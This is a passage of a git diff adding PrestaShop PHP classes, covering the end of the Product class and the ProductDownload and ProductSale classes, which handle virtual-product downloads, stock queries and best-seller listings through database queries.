g.`url_name` as `group` + FROM `'._DB_PREFIX_.'layered_indexable_attribute_group_lang_value` g + LEFT JOIN `'._DB_PREFIX_.'attribute` a + ON (a.`id_attribute_group` = g.`id_attribute_group`) + WHERE a.`id_attribute` = '.(int)$attribute['id_attribute'].' + AND g.`id_lang` = '.(int)Context::getContext()->language->id.' + AND g.`url_name` IS NOT NULL AND g.`url_name` != \'\''); + if (empty($group)) + { + $group = Db::getInstance()->executeS(' + SELECT g.`id_attribute_group`, g.`name` as `group` + FROM `'._DB_PREFIX_.'attribute_group_lang` g + LEFT JOIN `'._DB_PREFIX_.'attribute` a + ON (a.`id_attribute_group` = g.`id_attribute_group`) + WHERE a.`id_attribute` = '.(int)$attribute['id_attribute'].' + AND g.`id_lang` = '.(int)Context::getContext()->language->id.' + AND g.`name` IS NOT NULL'); + } + $result[] = array_merge($attribute, $group[0]); + } + $values_not_custom = Db::getInstance()->executeS(' + SELECT DISTINCT a.`id_attribute`, a.`id_attribute_group`, al.`name` as `attribute`, agl.`name` as `group` + FROM `'._DB_PREFIX_.'attribute` a + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al + ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl + ON (a.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (a.`id_attribute` = pac.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + '.Shop::addSqlAssociation('attribute', 'pac').' + WHERE pa.`id_product` = '.(int)$id_product.' + AND a.`id_attribute` NOT IN('.implode(', ', $tab_id_attribute).')'); + $result = array_merge($values_not_custom, $result); + } + else + { + $result = Db::getInstance()->executeS(' + SELECT DISTINCT a.`id_attribute`, a.`id_attribute_group`, al.`name` as `attribute`, agl.`name` as `group` + FROM `'._DB_PREFIX_.'attribute` a + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al + ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl + ON (a.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (a.`id_attribute` = pac.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + '.Shop::addSqlAssociation('attribute', 'pac').' + WHERE pa.`id_product` = '.(int)$id_product); + } + } + else + { + $result = Db::getInstance()->executeS(' + SELECT DISTINCT a.`id_attribute`, a.`id_attribute_group`, al.`name` as `attribute`, agl.`name` as `group` + FROM `'._DB_PREFIX_.'attribute` a + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al + ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl + ON (a.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)Context::getContext()->language->id.') + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (a.`id_attribute` = pac.`id_attribute`) + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa + ON (pac.`id_product_attribute` = pa.`id_product_attribute`) + '.Shop::addSqlAssociation('product_attribute', 'pa').' + '.Shop::addSqlAssociation('attribute', 'pac').' + WHERE pa.`id_product` = '.(int)$id_product); + } + return $result; + } + + /** + * Get the combination url anchor of the product + * + * @param integer $id_product_attribute + * @return string + */ + public function getAnchor($id_product_attribute) + { + $attributes = Product::getAttributesParams($this->id, $id_product_attribute); + $anchor = '#'; + foreach ($attributes as &$a) + { + foreach ($a as &$b) + $b = str_replace('-', '_', Tools::link_rewrite($b)); + $anchor .= '/'.$a['group'].'-'.$a['name']; + } + return $anchor; + } + + /** + * Gets the name of a given product, in the given lang + * + * @since 1.5.0 + * @param int $id_product + * @param int $id_product_attribute Optional + * @param int $id_lang Optional + * @return string + */ + public static function getProductName($id_product, $id_product_attribute = null, $id_lang = null) + { + // use the lang in the context if $id_lang is not defined + if (!$id_lang) + $id_lang = (int)Context::getContext()->language->id; + + // creates the query object + $query = new DbQuery(); + + // selects different names, if it is a combination + if ($id_product_attribute) + $query->select('IFNULL(CONCAT(pl.name, \' : \', GROUP_CONCAT(DISTINCT agl.`name`, \' - \', al.name SEPARATOR \', \')),pl.name) as name'); + else + $query->select('DISTINCT pl.name as name'); + + // adds joins & where clauses for combinations + if ($id_product_attribute) + { + $query->from('product_attribute', 'pa'); + $query->join(Shop::addSqlAssociation('product_attribute', 'pa')); + $query->innerJoin('product_lang', 'pl', 'pl.id_product = pa.id_product AND pl.id_lang = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl')); + $query->leftJoin('product_attribute_combination', 'pac', 'pac.id_product_attribute = pa.id_product_attribute'); + $query->leftJoin('attribute', 'atr', 'atr.id_attribute = pac.id_attribute'); + $query->leftJoin('attribute_lang', 'al', 'al.id_attribute = atr.id_attribute AND al.id_lang = '.(int)$id_lang); + $query->leftJoin('attribute_group_lang', 'agl', 'agl.id_attribute_group = atr.id_attribute_group AND agl.id_lang = '.(int)$id_lang); + $query->where('pa.id_product = '.(int)$id_product.' AND pa.id_product_attribute = '.(int)$id_product_attribute); + } + else // or just adds a 'where' clause for a simple product + { + $query->from('product_lang', 'pl'); + $query->where('pl.id_product = '.(int)$id_product); + $query->where('pl.id_lang = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl')); + } + + return Db::getInstance()->getValue($query); + } + + public function addWs($autodate = true, $null_values = false) + { + $success = $this->add($autodate, $null_values); + if ($success && Configuration::get('PS_SEARCH_INDEXATION')) + Search::indexation(false, $this->id); + return $success; + } + + public function updateWs($null_values = false) + { + $success = parent::update($null_values); + if ($success && Configuration::get('PS_SEARCH_INDEXATION')) + Search::indexation(false, $this->id); + return $success; + } + + /** + * For a given product, returns its real quantity + * + * @since 1.5.0 + * @param int $id_product + * @param int $id_product_attribute + * @param int $id_warehouse + * @param int $id_shop + * @return int real_quantity + */ + public static function getRealQuantity($id_product, $id_product_attribute = 0, $id_warehouse = 0, $id_shop = null) + { + static $manager = null; + + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && is_null($manager)) + $manager = StockManagerFactory::getManager(); + + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && Product::usesAdvancedStockManagement($id_product) && + StockAvailable::dependsOnStock($id_product, $id_shop)) + return $manager->getProductRealQuantities($id_product, $id_product_attribute, $id_warehouse, true); + else + return StockAvailable::getQuantityAvailableByProduct($id_product, $id_product_attribute, $id_shop); + } + + /** + * For a given product, tells if it uses the advanced stock management + * + * @since 1.5.0 + * @param int $id_product + * @return bool + */ + public static function usesAdvancedStockManagement($id_product) + { + $query = new DbQuery; + $query->select('product_shop.advanced_stock_management'); + $query->from('product', 'p'); + $query->join(Shop::addSqlAssociation('product', 'p')); + $query->where('p.id_product = '.(int)$id_product); + + return (bool)Db::getInstance()->getValue($query); + } + + /** + * This method allows to flush price cache + * @static + * @since 1.5.0 + */ + public static function flushPriceCache() + { + self::$_prices = array(); + self::$_pricesLevel2 = array(); + } + + /** + * Get list of parent categories + * + * @since 1.5.0 + * @param int $id_lang + * @return array + */ + public function getParentCategories($id_lang = null) + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + + $interval = Category::getInterval($this->id_category_default); + $sql = new DbQuery(); + $sql->from('category', 'c'); + $sql->leftJoin('category_lang', 'cl', 'c.id_category = cl.id_category AND id_lang = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl')); + $sql->where('c.nleft <= '.(int)$interval['nleft'].' AND c.nright >= '.(int)$interval['nright']); + $sql->orderBy('c.nleft'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + } + + /** + * Fill the variables used for stock management + */ + public function loadStockData() + { + if (Validate::isLoadedObject($this)) + { + // By default, the product quantity correspond to the available quantity to sell in the current shop + $this->quantity = StockAvailable::getQuantityAvailableByProduct($this->id, 0); + $this->out_of_stock = StockAvailable::outOfStock($this->id); + $this->depends_on_stock = StockAvailable::dependsOnStock($this->id); + if (Context::getContext()->shop->getContext() == Shop::CONTEXT_GROUP && Context::getContext()->shop->getContextShopGroup()->share_stock == 1) + $this->advanced_stock_management = $this->useAdvancedStockManagement(); + } + } + + public function useAdvancedStockManagement() + { + return Db::getInstance()->getValue(' + SELECT `advanced_stock_management` + FROM '._DB_PREFIX_.'product_shop + WHERE id_product='.(int)$this->id.Shop::addSqlRestriction() + ); + } + + public function setAdvancedStockManagement($value) + { + $this->advanced_stock_management = (int)$value; + if (Context::getContext()->shop->getContext() == Shop::CONTEXT_GROUP && Context::getContext()->shop->getContextShopGroup()->share_stock == 1) + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'product_shop` + SET `advanced_stock_management`='.(int)$value.' + WHERE id_product='.(int)$this->id.Shop::addSqlRestriction() + ); + else + $this->save(); + } + + /** + * get the default category according to the shop + */ + public function getDefaultCategory() + { + $default_category = Db::getInstance()->getValue(' + SELECT product_shop.`id_category_default` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE p.`id_product` = '.(int)$this->id); + + if (!$default_category) + return array('id_category_default' => Context::getContext()->shop->id_category); + else + return $default_category; + + } + + public static function getShopsByProduct($id_product) + { + return Db::getInstance()->executeS(' + SELECT `id_shop` + FROM `'._DB_PREFIX_.'product_shop` + WHERE `id_product` = '.(int)$id_product); + } + + /** + * Remove all downloadable files for product and its attributes + * + * @return bool + */ + public function deleteDownload() + { + $result = true; + $collection_download = new Collection('ProductDownload'); + $collection_download->where('id_product', '=', $this->id); + foreach ($collection_download as $product_download) + $result &= $product_download->delete(true); + return $result; + } + + /** + * @deprecated 1.5.0.10 + * @see Product::getAttributeCombinations() + * @param int $id_lang + */ + public function getAttributeCombinaisons($id_lang) + { + Tools::displayAsDeprecated('Use Product::getAttributeCombinations($id_lang)'); + return $this->getAttributeCombinations($id_lang); + } + + /** + * @deprecated 1.5.0.10 + * @see Product::deleteAttributeCombination() + * @param int $id_product_attribute + */ + public function deleteAttributeCombinaison($id_product_attribute) + { + Tools::displayAsDeprecated('Use Product::deleteAttributeCombination($id_product_attribute)'); + return $this->deleteAttributeCombination($id_product_attribute); + } + + /** + * Get the product type (simple, virtual, pack) + * @since in 1.5.0 + * + * @return int + */ + public function getType() + { + if (!$this->id) + return Product::PTYPE_SIMPLE; + if (Pack::isPack($this->id)) + return Product::PTYPE_PACK; + if ($this->is_virtual) + return Product::PTYPE_VIRTUAL; + + return Product::PTYPE_SIMPLE; + } + + public function hasAttributesInOtherShops() + { + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT pa.id_product_attribute + FROM `'._DB_PREFIX_.'product_attribute` pa + LEFT JOIN `'._DB_PREFIX_.'product_attribute_shop` pas ON (pa.`id_product_attribute` = pas.`id_product_attribute`) + WHERE pa.`id_product` = '.(int)$this->id + ); + } + + public static function getIdTaxRulesGroupMostUsed() + { + return Db::getInstance()->getValue(' + SELECT id_tax_rules_group + FROM ( + SELECT COUNT(*) n, product_shop.id_tax_rules_group + FROM '._DB_PREFIX_.'product p + '.Shop::addSqlAssociation('product', 'p').' + JOIN '._DB_PREFIX_.'tax_rules_group trg ON (product_shop.id_tax_rules_group = trg.id_tax_rules_group) + WHERE trg.active = 1 + GROUP BY product_shop.id_tax_rules_group + ORDER BY n DESC + LIMIT 1 + ) most_used' + ); + } + + /** + * For a given ean13 reference, returns the corresponding id + * + * @param string $ean13 + * @return int id + */ + public static function getIdByEan13($ean13) + { + if (empty($ean13)) + return 0; + + if(!Validate::isEan13($ean13)) + return 0; + + $query = new DbQuery(); + $query->select('p.id_product'); + $query->from('product', 'p'); + $query->where('p.ean13 = \''.pSQL($ean13).'\''); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + public function getWsType() + { + $type_information = array( + Product::PTYPE_SIMPLE => 'simple', + Product::PTYPE_PACK => 'pack', + Product::PTYPE_VIRTUAL => 'virtual', + ); + return $type_information[$this->getType()]; + } + + public function getWsProductBundle() + { + return Db::getInstance()->executeS('SELECT id_product_item as id, quantity FROM '._DB_PREFIX_.'pack where id_product_pack = '.(int)$this->id); + } +} + diff --git a/classes/ProductDownload.php b/classes/ProductDownload.php new file mode 100755 index 0000000..9936e63 --- /dev/null +++ b/classes/ProductDownload.php @@ -0,0 +1,317 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ProductDownloadCore extends ObjectModel +{ + /** @var integer Product id which download belongs */ + public $id_product; + + /** @var string DisplayFilename the name which appear */ + public $display_filename; + + /** @var string PhysicallyFilename the name of the file on hard disk */ + public $filename; + + /** @var string DateDeposit when the file is upload */ + public $date_add; + + /** @var string DateExpiration deadline of the file */ + public $date_expiration; + + /** @var string NbDaysAccessible how many days the customer can access to file */ + public $nb_days_accessible; + + /** @var string NbDownloadable how many time the customer can download the file */ + public $nb_downloadable; + + /** @var boolean Active if file is accessible or not */ + public $active = 1; + + /** @var boolean is_shareable indicates whether the product can be shared */ + public $is_shareable = 0; + + protected static $_productIds = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'product_download', + 'primary' => 'id_product_download', + 'fields' => array( + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'display_filename' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 255), + 'filename' => array('type' => self::TYPE_STRING, 'validate' => 'isSha1', 'size' => 255), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_expiration' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'nb_days_accessible' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'size' => 10), + 'nb_downloadable' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'size' => 10), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'is_shareable' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + /** + * Build a virtual product + * + * @param integer $id_product_download Existing productDownload id in order to load object (optional) + */ + public function __construct($id_product_download = null) + { + parent::__construct($id_product_download); + // @TODO check if the file is present on hard drive + } + + /** + * @see ObjectModel::getFields() + * @return array + */ + public function getFields() + { + $fields = parent::getFields(); + if (!$fields['date_expiration']) + $fields['date_expiration'] = '0000-00-00 00:00:00'; + + return $fields; + } + + public function add($autodate = true, $null_values = false) + { + if (parent::add($autodate, $null_values)) + { + // Set cache of feature detachable to true + if ($this->active) + Configuration::updateGlobalValue('PS_VIRTUAL_PROD_FEATURE_ACTIVE', '1'); + return true; + } + return false; + } + + public function update($null_values = false) + { + if (parent::update($null_values)) + { + // Refresh cache of feature detachable because the row can be deactive + Configuration::updateGlobalValue('PS_VIRTUAL_PROD_FEATURE_ACTIVE', ProductDownload::isCurrentlyUsed($this->def['table'], true)); + return true; + } + return false; + } + + public function delete($delete = false) + { + $result = parent::delete(); + if ($result && $delete) + return $this->deleteFile(); + return $result; + } + + /** + * Delete the file + * @param int $id_product_download : if we need to delete a specific product attribute file + * + * @return boolean + */ + public function deleteFile($id_product_download = null) + { + if (!$this->checkFile()) + return false; + + return unlink(_PS_DOWNLOAD_DIR_.$this->filename) + && Db::getInstance()->delete('product_download', 'id_product_download = '.(int)$id_product_download); + } + + /** + * Check if file exists + * + * @return boolean + */ + public function checkFile() + { + if (!$this->filename) return false; + return file_exists(_PS_DOWNLOAD_DIR_.$this->filename); + } + + /** + * Check if download repository is writable + * + * @return boolean + */ + public static function checkWritableDir() + { + return is_writable(_PS_DOWNLOAD_DIR_); + } + + /** + * Return the id_product_download from an id_product + * + * @param int $id_product Product the id + * @return integer Product the id for this virtual product + */ + public static function getIdFromIdProduct($id_product) + { + if (!ProductDownload::isFeatureActive()) + return false; + if (array_key_exists((int)$id_product, self::$_productIds)) + return self::$_productIds[$id_product]; + self::$_productIds[$id_product] = (int)Db::getInstance()->getValue(' + SELECT `id_product_download` + FROM `'._DB_PREFIX_.'product_download` + WHERE `id_product` = '.(int)$id_product.' + AND `active` = 1 + ORDER BY `id_product_download` DESC'); + + return self::$_productIds[$id_product]; + } + + /** + * Return the display filename from a physical filename + * + * @since 1.5.0.1 + * + * @param string $filename Filename physically + * @return integer Product the id for this virtual product + * + */ + public static function getIdFromFilename($filename) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_product_download` + FROM `'._DB_PREFIX_.'product_download` + WHERE `filename` = \''.pSQL($filename).'\''); + } + + /** + * Return the filename from an id_product + * + * @param int $id_product Product the id + * @return string Filename the filename for this virtual product + */ + public static function getFilenameFromIdProduct($id_product) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `filename` + FROM `'._DB_PREFIX_.'product_download` + WHERE `id_product` = '.(int)$id_product.' + AND `active` = 1 + '); + } + + /** + * Return the display filename from a physical filename + * + * @param string $filename Filename physically + * @return string Filename the display filename for this virtual product + */ + public static function getFilenameFromFilename($filename) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `display_filename` + FROM `'._DB_PREFIX_.'product_download` + WHERE `filename` = \''.pSQL($filename).'\''); + } + + /** + * Return html link + * + * @param string $class CSS selector (optionnal) + * @param bool $admin specific to backend (optionnal) + * @param string $hash hash code in table order detail (optionnal) + * @return string Html all the code for print a link to the file + */ + public function getTextLink($admin = true, $hash = false) + { + $key = $this->filename.'-'.($hash ? $hash : 'orderdetail'); + $link = ($admin) ? 'get-file-admin.php?' : _PS_BASE_URL_.__PS_BASE_URI__.'index.php?controller=get-file&'; + $link .= ($admin) ? 'file='.$this->filename : 'key='.$key; + return $link; + } + + /** + * Return html link + * + * @param string $class CSS selector + * @param bool $admin specific to backend + * @param bool $hash hash code in table order detail + * @return string Html all the code for print a link to the file + */ + public function getHtmlLink($class = false, $admin = true, $hash = false) + { + $link = $this->getTextLink($admin, $hash); + $html = '<a href="'.$link.'" title=""'; + if ($class) + $html .= ' class="'.$class.'"'; + $html .= '>'.$this->display_filename.'</a>'; + return $html; + } + + /** + * Return a deadline + * + * @return string Datetime in SQL format + */ + public function getDeadline() + { + if (!(int)$this->nb_days_accessible) + return '0000-00-00 00:00:00'; + $timestamp = strtotime('+'.(int)$this->nb_days_accessible.' day'); + return date('Y-m-d H:i:s', $timestamp); + } + + /** + * Return a hash for control download access + * + * @return string Hash ready to insert in database + */ + public function getHash() + { + // TODO check if this hash not already in database + return sha1(microtime().$this->id); + } + + /** + * Return a sha1 filename + * + * @return string Sha1 unique filename + */ + public static function getNewFilename() + { + $ret = sha1(microtime()); + if (file_exists(_PS_DOWNLOAD_DIR_.$ret)) + $ret = ProductDownload::getNewFilename(); + return $ret; + } + + /** + * This method is allow to know if a feature is used or active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + return Configuration::get('PS_VIRTUAL_PROD_FEATURE_ACTIVE'); + } +} \ No newline at end of file diff --git a/classes/ProductSale.php b/classes/ProductSale.php new file mode 100755 index 0000000..5350366 --- /dev/null +++ b/classes/ProductSale.php @@ -0,0 +1,204 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ProductSaleCore +{ + /* + ** Fill the `product_sale` SQL table with data from `order_detail` + ** @return bool True on success + */ + public static function fillProductSales() + { + $sql = 'REPLACE INTO '._DB_PREFIX_.'product_sale + (`id_product`, `quantity`, `sale_nbr`, `date_upd`) + SELECT od.product_id, COUNT(od.product_id), SUM(od.product_quantity), NOW() + FROM '._DB_PREFIX_.'order_detail od GROUP BY od.product_id'; + return Db::getInstance()->execute($sql); + } + + /* + ** Get number of actives products sold + ** @return int number of actives products listed in product_sales + */ + public static function getNbSales() + { + $sql = 'SELECT COUNT(ps.`id_product`) AS nb + FROM `'._DB_PREFIX_.'product_sale` ps + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.`id_product` = ps.`id_product` + '.Shop::addSqlAssociation('product', 'p', false).' + WHERE product_shop.`active` = 1'; + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($sql); + } + + /* + ** Get required informations on best sales products + ** + ** @param integer $id_lang Language id + ** @param integer $page_number Start from (optional) + ** @param integer $nb_products Number of products to return (optional) + ** @return array from Product::getProductProperties + */ + public static function getBestSales($id_lang, $page_number = 0, $nb_products = 10, $order_by = null, $order_way = null) + { + if ($page_number < 0) $page_number = 0; + if ($nb_products < 1) $nb_products = 10; + $final_order_by = $order_by; + if (is_null($order_by) || $order_by == 'position' || $order_by == 'price') $order_by = 'sales'; + if (is_null($order_way) || $order_by == 'sales') $order_way == 'DESC'; + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + $interval = Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20; + + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, + pl.`description`, pl.`description_short`, pl.`link_rewrite`, pl.`meta_description`, + pl.`meta_keywords`, pl.`meta_title`, pl.`name`, + m.`name` AS manufacturer_name, p.`id_manufacturer` as id_manufacturer, + MAX(image_shop.`id_image`) id_image, il.`legend`, + ps.`quantity` AS sales, t.`rate`, pl.`meta_keywords`, pl.`meta_title`, pl.`meta_description`, + DATEDIFF(p.`date_add`, DATE_SUB(NOW(), + INTERVAL '.$interval.' DAY)) > 0 AS new + FROM `'._DB_PREFIX_.'product_sale` ps + LEFT JOIN `'._DB_PREFIX_.'product` p ON ps.`id_product` = p.`id_product` + '.Shop::addSqlAssociation('product', 'p', false).' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON (m.`id_manufacturer` = p.`id_manufacturer`) + LEFT JOIN `'._DB_PREFIX_.'tax_rule` tr ON (product_shop.`id_tax_rules_group` = tr.`id_tax_rules_group`) + AND tr.`id_country` = '.(int)Context::getContext()->country->id.' + AND tr.`id_state` = 0 + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.`id_tax` = tr.`id_tax`) + '.Product::sqlStock('p').' + WHERE product_shop.`active` = 1 + AND p.`visibility` != \'none\' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + ) + GROUP BY product_shop.id_product + ORDER BY `'.pSQL($order_by).'` '.pSQL($order_way).' + LIMIT '.(int)($page_number * $nb_products).', '.(int)$nb_products; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + if ($final_order_by == 'price') + Tools::orderbyPrice($result, $order_way); + if (!$result) + return false; + return Product::getProductsProperties($id_lang, $result); + } + + /* + ** Get required informations on best sales products + ** + ** @param integer $id_lang Language id + ** @param integer $page_number Start from (optional) + ** @param integer $nb_products Number of products to return (optional) + ** @return array keys : id_product, link_rewrite, name, id_image, legend, sales, ean13, upc, link + */ + public static function getBestSalesLight($id_lang, $page_number = 0, $nb_products = 10, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + if ($page_number < 0) $page_number = 0; + if ($nb_products < 1) $nb_products = 10; + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + + $sql = 'SELECT p.id_product, pl.`link_rewrite`, pl.`name`, pl.`description_short`, MAX(image_shop.`id_image`) id_image, il.`legend`, + ps.`quantity` AS sales, p.`ean13`, p.`upc`, cl.`link_rewrite` AS category + FROM `'._DB_PREFIX_.'product_sale` ps + LEFT JOIN `'._DB_PREFIX_.'product` p ON ps.`id_product` = p.`id_product` + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON cl.`id_category` = product_shop.`id_category_default` + AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').' + WHERE product_shop.`active` = 1 + AND p.`visibility` != \'none\' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + ) + GROUP BY product_shop.id_product + ORDER BY sales DESC + LIMIT '.(int)($page_number * $nb_products).', '.(int)$nb_products; + if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + return false; + + foreach ($result as &$row) + { + $row['link'] = $context->link->getProductLink($row['id_product'], $row['link_rewrite'], $row['category'], $row['ean13']); + $row['id_image'] = Product::defineProductImage($row, $id_lang); + } + return $result; + } + + public static function addProductSale($product_id, $qty = 1) + { + return Db::getInstance()->execute(' + INSERT INTO '._DB_PREFIX_.'product_sale + (`id_product`, `quantity`, `sale_nbr`, `date_upd`) + VALUES ('.(int)$product_id.', '.(int)$qty.', 1, NOW()) + ON DUPLICATE KEY UPDATE `quantity` = `quantity` + '.(int)$qty.', `sale_nbr` = `sale_nbr` + 1, `date_upd` = NOW()'); + } + + public static function getNbrSales($id_product) + { + $result = Db::getInstance()->getRow('SELECT `sale_nbr` FROM '._DB_PREFIX_.'product_sale WHERE `id_product` = '.(int)$id_product); + if (!$result || empty($result) || !key_exists('sale_nbr', $result)) + return -1; + return (int)$result['sale_nbr']; + } + + public static function removeProductSale($id_product, $qty = 1) + { + $total_sales = ProductSale::getNbrSales($id_product); + if ($total_sales > 1) + return Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'product_sale + SET `quantity` = `quantity` - '.(int)$qty.', `sale_nbr` = `sale_nbr` - 1, `date_upd` = NOW() + WHERE `id_product` = '.(int)$id_product + ); + elseif ($total_sales == 1) + return Db::getInstance()->delete('product_sale', 'id_product = '.(int)$id_product); + return true; + } +} + diff --git a/classes/ProductSupplier.php b/classes/ProductSupplier.php new file mode 100755 index 0000000..eb15f47 --- /dev/null +++ b/classes/ProductSupplier.php @@ -0,0 +1,227 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 